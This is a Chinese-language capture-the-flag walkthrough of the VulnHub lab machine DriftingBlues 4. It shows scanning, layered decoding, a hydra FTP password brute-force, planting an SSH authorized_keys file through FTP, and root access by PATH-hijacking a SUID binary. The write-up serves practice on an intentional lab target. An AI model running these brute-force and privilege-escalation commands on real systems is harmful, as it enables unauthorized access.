一.环境搭建
1.靶场描述
get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.
This works better with VirtualBox rather than VMware.
2.靶场下载
https://www.vulnhub.com/entry/driftingblues-4,661/

3.靶场启动

我们不知道靶场ip地址,但是我们知道网段是192.168.1.0/24,我们进行探测即可
二.信息收集
1.寻找靶场真实ip
nmap -sP 192.168.1.0/24

arp-scan -l

靶场的ip地址为192.168.1.10
2.探测端口及服务
nmap -p- -sV 192.168.1.10

发现开启了21端口, 服务为ftp
发现开启了22端口,服务为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
发现开启了80端口,服务为Apache httpd 2.4.38 ((Debian))
三.渗透测试
1.访问web服务
http://192.168.1.10

我们查看页面,没有发现任何有用的信息,我们进行查看源代码,发现一串base64编码,我们一会进行解密查看

开启了21端口,我们进行查看ftp服务,但是不能进行匿名访问
ftp://192.168.1.10

2.扫描web服务
1)nikto扫描
nikto -h http://192.168.1.10
没有任何信息
2)dirsearch目录扫描
dirsearch -u 192.168.1.10 -e * -x 403 --random-agent

什么也没有,目前我们掌握的信息,只有一串base64编码,我们进行解密查看
3.渗透测试
1)解密
我们进行解密base64,一共需要解密4次
Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09

我们发现是一个目录,我们进行访问
http://192.168.1.10/imfuckingmad.txt

发现是Brainfuck编码,我们进行解密,发现是一个二维码

2)扫描二维码
我们进行扫描


我们发现一个网址,我们进行访问发现4个用户名
https://i.imgur.com/a4JjS76.png

在之前我们访问ftp访问的时候,发现需要用户名进行登录,那么我们进行爆破试试
3)hydra爆破
我们使用hydra进行爆破
hydra -L '/home/kali/桌面/1.txt' -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.10

破解出一个 FTP登录的用户名和密码:luther/mypics
是 sync(linux同步命令,含义为迫使缓冲块数据立即写盘并更新超级块),那我尝试往 ftp 中的 hubert 文件中写入 ssh 密钥,猜测应该就会同步到 hubert 用户的家目录中,现在 ftp 中的 hubert 目录下创建 .ssh 目录
4)制作ssh私钥
首先先在kaii本地生成秘钥ssh-keygen 将 id_rsa.pub SSH公钥文件另存为 authorized_keys
ssh---keygen -t rsa



然后我们在hubert目录下创建.ssh目录,我之前就已经创建好了.ssh目录,所以这里就不在创建了

我们上传authorized_keys到靶场里面,我们可以看到上传成功


chmod 400 id_rsa #给权限
5)ssh登录
ssh hubert@192.168.1.10 -i id_rsa
我们可以在user.txt里面,看到第一个flag
6)提权
我们使用命令
find / -perm -u=s -type f 2>/dev/null

我们可以看到熟悉的getinfo,我们进行提权
执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

可以通过修改环境来进行命令劫持提权
通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果
export PATH=/tmp/:$PATH 把/tmp路径写入到系统路径中
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)
chmod +x ip 给ip文件增加执行权限

我们可以看到是root提权,我们进行查看flag即可
